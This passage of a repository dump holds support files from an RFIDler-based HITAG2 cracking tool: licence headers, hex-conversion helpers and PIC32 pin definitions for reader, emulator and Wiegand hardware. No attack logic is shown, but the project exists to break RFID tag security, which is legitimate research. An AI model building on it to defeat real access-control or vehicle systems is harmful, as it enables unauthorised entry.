*source);\nvoid printbinarray(unsigned char *bin, unsigned int length);\nunsigned char getbit(unsigned char byte, unsigned char bit);\nvoid bytestohex(unsigned char *target, unsigned char *source, unsigned int length);\nunsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);\nunsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);\nchar * strip_newline(char *buff);\nBOOL command_ack(BOOL data);\nBOOL command_nack(BYTE *reason);\nBOOL command_unknown(void);\nvoid ToUpper(char *string);\nvoid string_reverse(unsigned char *string, unsigned int length);\nBOOL string_byteswap(unsigned char *string, unsigned int length);\nBYTE parity(unsigned char *string, BYTE type, unsigned int length);\nunsigned long get_reader_pulse(unsigned int timeout_us);\nunsigned long get_reader_gap(unsigned int timeout_us);\nunsigned int crc_ccitt(BYTE *data, unsigned int length);\nunsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);\nvoid space_indent(BYTE count);\nvoid xml_version(void);\nvoid xml_header(BYTE *item, BYTE *indent);\nvoid xml_footer(BYTE *item, BYTE *indent, BOOL newline);\nvoid xml_indented_text(BYTE *data, BYTE indent);\nvoid xml_item_text(BYTE *item, BYTE *data, BYTE *indent);\nvoid xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);\nvoid xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);\nvoid xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);\n\n"
  },
  {
    "path": "hitag2crack/crack2/utilpart.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include <string.h>\n#include <stdio.h>\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n//#include \"comms.h\"\n\n// rtc\nrtccTime\tRTC_time;\t\t\t// time structure\nrtccDate\tRTC_date;\t\t\t// date structure\n\n// convert byte-reversed 8 digit hex to unsigned long\nunsigned long hexreversetoulong(BYTE *hex)\n{\n    unsigned long ret= 0L;\n    unsigned int x;\n    BYTE i;\n\n    if(strlen(hex) != 8)\n        return 0L;\n\n    for(i= 0 ; i < 4 ; ++i)\n    {\n        if(sscanf(hex, \"%2X\", &x) != 1)\n                return 0L;\n        ret += ((unsigned long) x) << i * 8;\n        hex += 2;\n    }\n    return ret;\n}\n\n// convert byte-reversed 12 digit hex to unsigned long\nunsigned long long hexreversetoulonglong(BYTE *hex)\n{\n    unsigned long long ret= 0LL;\n    BYTE tmp[9];\n    \n    // this may seem an odd way to do it, but weird compiler issues were \n    // breaking direct conversion!\n    \n    tmp[8]= '\\0';\n    memset(tmp + 4, '0', 4);\n    memcpy(tmp, hex + 8, 4);\n    ret= hexreversetoulong(tmp);\n    ret <<= 32;\n    memcpy(tmp, hex, 8);\n    ret += hexreversetoulong(tmp);\n    return ret;\n}\n\n\n"
  },
  {
    "path": "hitag2crack/crack3/HardwareProfile.h",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n\r\n\r\n#ifndef HARDWARE_PROFILE_UBW32_H\r\n#define HARDWARE_PROFILE_UBW32_H\r\n\r\n//#include \"plib.h\"\r\ntypedef char BOOL;\r\ntypedef char BYTE;\r\ntypedef int rtccTime;\r\ntypedef int rtccDate;\r\n\r\n\r\n#ifndef __PIC32MX__\r\n    #define __PIC32MX__\r\n#endif\r\n  \r\n#define GetSystemClock()            (80000000ul)\r\n#define GetPeripheralClock()        (GetSystemClock()) \r\n#define GetInstructionClock()       (GetSystemClock())\r\n\r\n//#define USE_SELF_POWER_SENSE_IO\r\n#define tris_self_power     TRISAbits.TRISA2    // Input\r\n#define self_power          1\r\n\r\n//#define USE_USB_BUS_SENSE_IO\r\n#define tris_usb_bus_sense  TRISBbits.TRISB5    // Input\r\n#define USB_BUS_SENSE       1\r\n\r\n// LEDs\r\n#define mLED_1              LATEbits.LATE3\r\n\r\n#define mLED_2              LATEbits.LATE2\r\n#define mLED_Comms          mLED_2\r\n\r\n#define mLED_3              LATEbits.LATE1\r\n#define mLED_Clock          mLED_3\r\n\r\n#define mLED_4              LATEbits.LATE0\r\n#define mLED_Emulate        mLED_4\r\n\r\n#define mLED_5              LATGbits.LATG6\r\n#define mLED_Read           mLED_5\r\n\r\n#define mLED_6              LATAbits.LATA15\r\n#define mLED_User           mLED_6\r\n\r\n#define mLED_7              LATDbits.LATD11\r\n#define mLED_Error          mLED_7\r\n\r\n// active low\r\n#define mLED_ON             0\r\n#define mLED_OFF            1\r\n\r\n#define mGetLED_1()         mLED_1\r\n#define mGetLED_USB()       mLED_1\r\n#define mGetLED_2()         mLED_2\r\n#define mGetLED_Comms()     mLED_2\r\n#define mGetLED_3()         mLED_3\r\n#define mGetLED_Clock()     mLED_3\r\n#define mGetLED_4()         mLED_4\r\n#define mGetLED_Emulate()   mLED_4\r\n#define mGetLED_5()         mLED_5\r\n#define mGetLED_Read()      mLED_5\r\n#define mGetLED_6()         mLED_6\r\n#define mGetLED_User()      mLED_6\r\n#define mGetLED_7()         mLED_7\r\n#define mGetLED_Error()     mLED_7\r\n\r\n#define mLED_1_On()         mLED_1 = mLED_ON\r\n#define mLED_USB_On()       mLED_1_On()\r\n#define mLED_2_On()         mLED_2 = mLED_ON\r\n#define mLED_Comms_On()     mLED_2_On()\r\n#define mLED_3_On()         mLED_3 = mLED_ON\r\n#define mLED_Clock_On()     mLED_3_On()\r\n#define mLED_4_On()         mLED_4 = mLED_ON\r\n#define mLED_Emulate_On()   mLED_4_On()\r\n#define mLED_5_On()         mLED_5 = mLED_ON\r\n#define mLED_Read_On()      mLED_5_On()\r\n#define mLED_6_On()         mLED_6 = mLED_ON\r\n#define mLED_User_On()      mLED_6_On()\r\n#define mLED_7_On()         mLED_7 = mLED_ON\r\n#define mLED_Error_On()     mLED_7_On()\r\n\r\n#define mLED_1_Off()        mLED_1 = mLED_OFF\r\n#define mLED_USB_Off()      mLED_1_Off()\r\n#define mLED_2_Off()        mLED_2 = mLED_OFF\r\n#define mLED_Comms_Off()    mLED_2_Off()\r\n#define mLED_3_Off()        mLED_3 = mLED_OFF\r\n#define mLED_Clock_Off()    mLED_3_Off()\r\n#define mLED_4_Off()        mLED_4 = mLED_OFF\r\n#define mLED_Emulate_Off()  mLED_4_Off()\r\n#define mLED_5_Off()        mLED_5 = mLED_OFF\r\n#define mLED_Read_Off()     mLED_5_Off()\r\n#define mLED_6_Off()        mLED_6 = mLED_OFF\r\n#define mLED_User_Off()     mLED_6_Off()\r\n#define mLED_7_Off()        mLED_7 = mLED_OFF\r\n#define mLED_Error_Off()    mLED_7_Off()\r\n\r\n#define mLED_1_Toggle()        mLED_1 = !mLED_1\r\n#define mLED_USB_Toggle()      mLED_1_Toggle()\r\n#define mLED_2_Toggle()        mLED_2 = !mLED_2\r\n#define mLED_Comms_Toggle()    mLED_2_Toggle()\r\n#define mLED_3_Toggle()        mLED_3 = !mLED_3\r\n#define mLED_Clock_Toggle()    mLED_3_Toggle()\r\n#define mLED_4_Toggle()        mLED_4 = !mLED_4\r\n#define mLED_Emulate_Toggle()  mLED_4_Toggle()\r\n#define mLED_5_Toggle()        mLED_5 = !mLED_5\r\n#define mLED_Read_Toggle(   )  mLED_5_Toggle()\r\n#define mLED_6_Toggle()        mLED_6 = !mLED_6\r\n#define mLED_User_Toggle()     mLED_6_Toggle()\r\n#define mLED_7_Toggle()        mLED_7 = !mLED_7\r\n#define mLED_Error_Toggle()    mLED_7_Toggle()\r\n\r\n#define mLED_All_On()       { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On();  mLED_6_On(); mLED_7_On(); }\r\n#define mLED_All_Off()      { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }\r\n\r\n// usb status lights\r\n#define mLED_Both_Off()         {mLED_USB_Off();mLED_Comms_Off();}\r\n#define mLED_Both_On()          {mLED_USB_On();mLED_Comms_On();}\r\n#define mLED_Only_USB_On()      {mLED_USB_On();mLED_Comms_Off();}\r\n#define mLED_Only_Comms_On()    {mLED_USB_Off();mLED_Comms_On();}\r\n\r\n/** SWITCH *********************************************************/\r\n#define swBootloader        PORTEbits.RE7\r\n#define swUser              PORTEbits.RE6\r\n\r\n/** I/O pin definitions ********************************************/\r\n#define INPUT_PIN                   1\r\n#define OUTPUT_PIN                  0\r\n\r\n#define TRUE                        1\r\n#define FALSE                       0\r\n\r\n#define ENABLE                      1\r\n#define DISABE                      0\r\n\r\n#define EVEN                        0\r\n#define ODD                         1\r\n\r\n#define LOW                         FALSE\r\n#define HIGH                        TRUE\r\n\r\n#define CLOCK_ON                    LOW\r\n#define CLOCK_OFF                   HIGH\r\n\r\n// output coil control - select between reader/emulator circuits\r\n#define COIL_MODE                  LATBbits.LATB4\r\n#define COIL_MODE_READER()         COIL_MODE= LOW\r\n#define COIL_MODE_EMULATOR()       COIL_MODE= HIGH\r\n\r\n// coil for emulation\r\n#define COIL_OUT                   LATGbits.LATG9\r\n#define COIL_OUT_HIGH()            COIL_OUT=HIGH\r\n#define COIL_OUT_LOW()             COIL_OUT=LOW\r\n\r\n// door relay (active low)\r\n#define DOOR_RELAY                  LATAbits.LATA14\r\n#define DOOR_RELAY_OPEN()           DOOR_RELAY= HIGH\r\n#define DOOR_RELAY_CLOSE()          DOOR_RELAY= LOW\r\n\r\n// inductance/capacitance freq\r\n#define IC_FREQUENCY               PORTAbits.RA2\r\n\r\n#define SNIFFER_COIL               PORTDbits.RD12    // external reader clock detect\r\n#define READER_ANALOGUE            PORTBbits.RB11   // reader coil analogue\r\n#define DIV_LOW_ANALOGUE           PORTBbits.RB12   // voltage divider LOW analogue\r\n#define DIV_HIGH_ANALOGUE          PORTBbits.RB13   // voltage divider HIGH analogue\r\n\r\n// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)\r\n#define CLOCK_COIL                 PORTDbits.RD4\r\n#define CLOCK_COIL_MOVED           PORTDbits.RD0 // temporary for greenwire\r\n\r\n// digital output after analogue reader circuit\r\n#define READER_DATA                PORTDbits.RD8\r\n\r\n// trace / debug\r\n#define DEBUG_PIN_1                 LATCbits.LATC1\r\n#define DEBUG_PIN_1_TOGGLE()        DEBUG_PIN_1= !DEBUG_PIN_1\r\n#define DEBUG_PIN_2                 LATCbits.LATC2\r\n#define DEBUG_PIN_2_TOGGLE()        DEBUG_PIN_2= !DEBUG_PIN_2\r\n#define DEBUG_PIN_3                 LATCbits.LATC3\r\n#define DEBUG_PIN_3_TOGGLE()        DEBUG_PIN_3= !DEBUG_PIN_3\r\n#define DEBUG_PIN_4                 LATEbits.LATE5\r\n#define DEBUG_PIN_4_TOGGLE()        DEBUG_PIN_4= !DEBUG_PIN_4\r\n\r\n// spi (sdi1) for sd card (not directly referenced)\r\n//#define SD_CARD_RX                  LATCbits.LATC4\r\n//#define SD_CARD_TX                  LATDbits.LATD0\r\n//#define SD_CARD_CLK                 LATDbits.LATD10\r\n//#define SD_CARD_SS                  LATDbits.LATD9\r\n// spi for SD card\r\n#define SD_CARD_DET                 LATFbits.LATF0\r\n#define SD_CARD_WE                  LATFbits.LATF1      // write enable - unused for microsd but allocated anyway as library checks it\r\n                                                        // (held LOW by default - cut solder bridge to GND to free pin if required)\r\n#define SPI_SD                      SPI_CHANNEL1\r\n#define SPI_SD_BUFF                 SPI1BUF\r\n#define SPI_SD_STAT                 SPI1STATbits\r\n// see section below for more defines!\r\n\r\n// iso 7816 smartcard\r\n// microchip SC module defines pins so we don't need to, but\r\n// they are listed here to help avoid conflicts\r\n#define ISO_7816_RX                 LATBbits.LATF2 // RX\r\n#define ISO_7816_TX                 LATBbits.LATF8 // TX\r\n#define ISO_7816_VCC                LATBbits.LATB9 // Power\r\n#define ISO_7816_CLK                LATCbits.LATD1 // Clock\r\n#define ISO_7816_RST                LATEbits.LATE8 // Reset\r\n\r\n// user LED\r\n#define USER_LED                    LATDbits.LATD7\r\n#define USER_LED_ON()               LATDbits.LATD7=1\r\n#define USER_LED_OFF()              LATDbits.LATD7=0\r\n\r\n// LCR\r\n#define LCR_CALIBRATE               LATBbits.LATB5\r\n\r\n// wiegand / clock & data\r\n#define WIEGAND_IN_0                PORTDbits.RD5\r\n#define WIEGAND_IN_0_PULLUP         CNPUEbits.CNPUE14\r\n#define WIEGAND_IN_0_PULLDOWN       CNPDbits.CNPD14\r\n#define WIEGAND_IN_1                PORTDbits.RD6\r\n#define WIEGAND_IN_1_PULLUP         CNPUEbits.CNPUE15\r\n#define WIEGAND_IN_1_PULLDOWN       CNPDbits.CNPD15\r\n#define CAND_IN_DATA                WIEGAND_IN_0\r\n#define CAND_IN_CLOCK               WIEGAND_IN_1\r\n\r\n#define WIEGAND_OUT_0               LATDbits.LATD3\r\n#define WIEGAND_OUT_1               LATDbits.LATD2\r\n#define WIEGAND_OUT_0_TRIS          TRISDbits.TRISD3\r\n#define WIEGAND_OUT_1_TRIS          TRISDbits.TRISD2\r\n#define CAND_OUT_DATA               WIEGAND_OUT_0\r\n#define CAND_OUT_CLOCK              WIEGAND_OUT_1\r\n\r\n// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier\r\n#define READER_CLOCK_ENABLE         LATEbits.LATE9\r\n#define READER_CLOCK_ENABLE_ON()    READER_CLOCK_ENABLE=CLOCK_ON\r\n#define READER_CLOCK_ENABLE_OFF(x)  {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}\r\n\r\n// these input pins must NEVER bet set to output or they will cause short circuits!\r\n// they can be used to see data from reader before it goes into or gate\r\n#define OR_IN_A                     PORTAbits.RA4\r\n#define OR_IN_B                     PORTAbits.RA5\r\n\r\n\r\n// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on\r\n#define Init_GPIO() { \\\r\n     CNCONbits.ON= TRUE; \\\r\n     CNENbits.CNEN14= TRUE; \\\r\n     CNENbits.CNEN15= TRUE; \\\r\n     TRISAbits.TRISA2= INPUT_PIN; \\\r\n     TRISAbits.TRISA4= INPUT_PIN; \\\r\n     TRISAbits.TRISA5= INPUT_PIN; \\\r\n     TRISAbits.TRISA14= OUTPUT_PIN; \\\r\n     TRISAbits.TRISA15= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB4= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB5= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB9= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB11= INPUT_PIN; \\\r\n     TRISBbits.TRISB12= INPUT_PIN; \\\r\n     TRISBbits.TRISB13= INPUT_PIN; \\\r\n     TRISCbits.TRISC1= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC2= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC3= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC4= INPUT_PIN; \\\r\n     TRISDbits.TRISD0= INPUT_PIN; \\\r\n     TRISDbits.TRISD1= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD2= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD3= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD4= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD5= INPUT_PIN; \\\r\n     TRISDbits.TRISD6= INPUT_PIN; \\\r\n     TRISDbits.TRISD7= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD8= INPUT_PIN; \\\r\n     TRISDbits.TRISD11= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD12= INPUT_PIN; \\\r\n     TRISEbits.TRISE0= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE1= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE2= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE3= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE5= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE6= INPUT_PIN; \\\r\n     TRISEbits.TRISE7= INPUT_PIN; \\\r\n     TRISEbits.TRISE8= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE9= OUTPUT_PIN; \\\r\n     TRISFbits.TRISF0= INPUT_PIN; \\\r\n     TRISFbits.TRISF1= INPUT_PIN; \\\r\n     TRISFbits.TRISF2= INPUT_PIN; \\\r\n     TRISFbits.TRISF8= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG6= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG12= INPUT_PIN; \\\r\n     TRISGbits.TRISG13= INPUT_PIN; \\\r\n     TRISGbits.TRISG9= OUTPUT_PIN; \\\r\n     LATBbits.LATB9= LOW; \\\r\n     LATCbits.LATC1= LOW; \\\r\n     LATCbits.LATC2= LOW; \\\r\n     LATCbits.LATC3= LOW; \\\r\n     LATDbits.LATD2= WIEGAND_IN_1; \\\r\n     LATDbits.LATD3= WIEGAND_IN_0; \\\r\n     LATEbits.LATE5= LOW; \\\r\n     LATEbits.LATE9= HIGH; \\\r\n     }\r\n\r\n// uart3 (CLI/API) speed\r\n#define BAUDRATE3       115200UL\r\n#define BRG_DIV3        4\r\n#define BRGH3           1\r\n\r\n// spi for potentiometer\r\n#define SPI_POT                     SPI_CHANNEL4\r\n#define SPI_POT_BUFF                SPI4BUF\r\n#define SPI_POT_STAT                SPI4STATbits\r\n\r\n// spi for sd card - defines required for Microchip SD-SPI libs\r\n// define interface type\r\n#define USE_SD_INTERFACE_WITH_SPI\r\n\r\n#define MDD_USE_SPI_1\r\n#define SPI_START_CFG_1     (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)\r\n#define SPI_START_CFG_2     (SPI_ENABLE)\r\n// Define the SPI frequency\r\n#define SPI_FREQUENCY\t\t\t(20000000)\r\n// Description: SD-SPI Card Detect Input bit\r\n#define SD_CD               PORTFbits.RF0\r\n// Description: SD-SPI Card Detect TRIS bit\r\n#define SD_CD_TRIS          TRISFbits.TRISF0\r\n// Description: SD-SPI Write Protect Check Input bit\r\n#define SD_WE               PORTFbits.RF1\r\n// Description: SD-SPI Write Protect Check TRIS bit\r\n#define SD_WE_TRIS          TRISFbits.TRISF1\r\n// Description: The main SPI control register\r\n#define SPICON1             SPI1CON\r\n// Description: The SPI status register\r\n#define SPISTAT             SPI1STAT\r\n// Description: The SPI Buffer\r\n#define SPIBUF              SPI1BUF\r\n// Description: The receive buffer full bit in the SPI status 